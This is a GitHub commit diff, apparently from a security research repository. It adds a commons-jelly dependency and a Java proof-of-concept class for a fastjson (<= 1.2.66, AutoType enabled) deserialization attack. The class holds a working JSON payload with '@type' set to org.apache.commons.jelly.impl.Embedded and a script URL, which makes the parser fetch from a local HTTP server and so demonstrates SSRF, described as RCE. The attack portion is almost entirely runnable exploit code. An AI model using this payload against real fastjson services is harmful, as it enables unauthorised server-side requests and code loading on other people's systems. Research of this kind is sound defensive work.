File tree Expand file tree Collapse file tree 2 files changed +41
-0
lines changed
src/main/java/com/threedr3am/bug/fastjson Expand file tree Collapse file tree 2 files changed +41
-0
lines changed Original file line number Diff line number Diff line change 110110 <artifactId >cxf-bundle</artifactId >
111111 <version >2.7.18</version >
112112 </dependency >
113+
114+ <dependency >
115+ <groupId >commons-jelly</groupId >
116+ <artifactId >commons-jelly</artifactId >
117+ <version >1.0.1</version >
118+ </dependency >
113119 </dependencies >
114120</project >
Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .fastjson ;
2+
3+ import com .alibaba .fastjson .JSON ;
4+ import com .alibaba .fastjson .parser .ParserConfig ;
5+ import com .threedr3am .bug .common .server .HTTPServer ;
6+
7+ /**
8+ * fastjson <= 1.2.66 RCE,需要开启AutoType
9+ *
10+ *
11+ * <dependency>
12+ * <groupId>commons-jelly</groupId>
13+ * <artifactId>commons-jelly</artifactId>
14+ * <version>1.0.1</version>
15+ * </dependency>
16+ *
17+ * @author threedr3am
18+ */
19+ public class CommonsJellySSRFPoc {
20+
21+ static {
22+ HTTPServer .PORT = 23234 ;
23+ HTTPServer .run (null );
24+ }
25+
26+ public static void main (String [] args ) {
27+ ParserConfig .getGlobalInstance ().setAutoTypeSupport (true );
28+ String payload = "{\" @type\" :\" org.apache.commons.jelly.impl.Embedded\" ,\" script\" : \" http://127.0.0.1:23234?aaaa=111&bb=242\" }" ;
29+ try {
30+ JSON .parse (payload );
31+ } catch (Exception e ) {
32+ e .printStackTrace ();
33+ }
34+ }
35+ }
You can’t perform that action at this time.
0 commit comments